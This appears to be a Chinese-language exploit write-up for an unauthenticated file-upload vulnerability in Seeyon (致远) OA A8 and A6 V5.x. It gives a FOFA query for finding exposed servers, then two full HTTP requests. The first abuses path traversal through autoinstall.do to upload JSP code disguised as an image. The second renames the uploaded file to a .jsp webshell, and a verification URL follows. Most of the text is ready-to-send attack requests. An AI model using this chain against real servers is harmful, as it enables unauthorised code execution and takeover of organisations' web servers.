Z4-5致远互联-OA-文件上传
漏洞描述:
致远OA 接口 fileUpload.do 接口处存在文件上传漏洞,未经身份验证的远程攻击者可通过目录遍历的方式绕过上传接口限制,并利用menu.do接口替换上传文件的fileid值实现webshell上传到服务器,获取服务器权限,控制整个 web 服务器。
影响版本:
致远A8 V5.x 版本
致远A6 V5.x 版本
网站图片:
网络测绘:
fofa语法:
FOFA:title=“协同管理软件 V5.6SP1”
漏洞复现:
上传图片获取fileid值
payload:
POST /seeyon/autoinstall.do/./seeyon/fileUpload.do?method=processUpload HTTP/1.1
Host: your-ip
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Type: multipart/form-data; boundary=00content0boundary00
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.3 (Change: 287 c9dfb30)
--00content0boundary00
Content-Disposition: form-data; name="type"
--00content0boundary00
Content-Disposition: form-data; name="extensions"
png
--00content0boundary00
Content-Disposition: form-data; name="applicationCategory"
--00content0boundary00
Content-Disposition: form-data; name="destDirectory"
--00content0boundary00
Content-Disposition: form-data; name="destFilename"
--00content0boundary00
Content-Disposition: form-data; name="maxSize"
--00content0boundary00
Content-Disposition: form-data; name="isEncrypt"
false
--00content0boundary00
Content-Disposition: form-data; name="file1"; filename="1.png"
Content-Type: Content-Type: application/pdf
<% out.println("hello");%>
--00content0boundary00--
效果图:
携带fileid值将文件转换为jsp文件
POST /seeyon/autoinstall.do/./seeyon/privilege/menu.do HTTP/1.1
Host: your-ip
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)
method=uploadMenuIcon&fileid=获取到的值&filename=qwe.jsp
验证url
/seeyon/main/menuIcon/qwe.jsp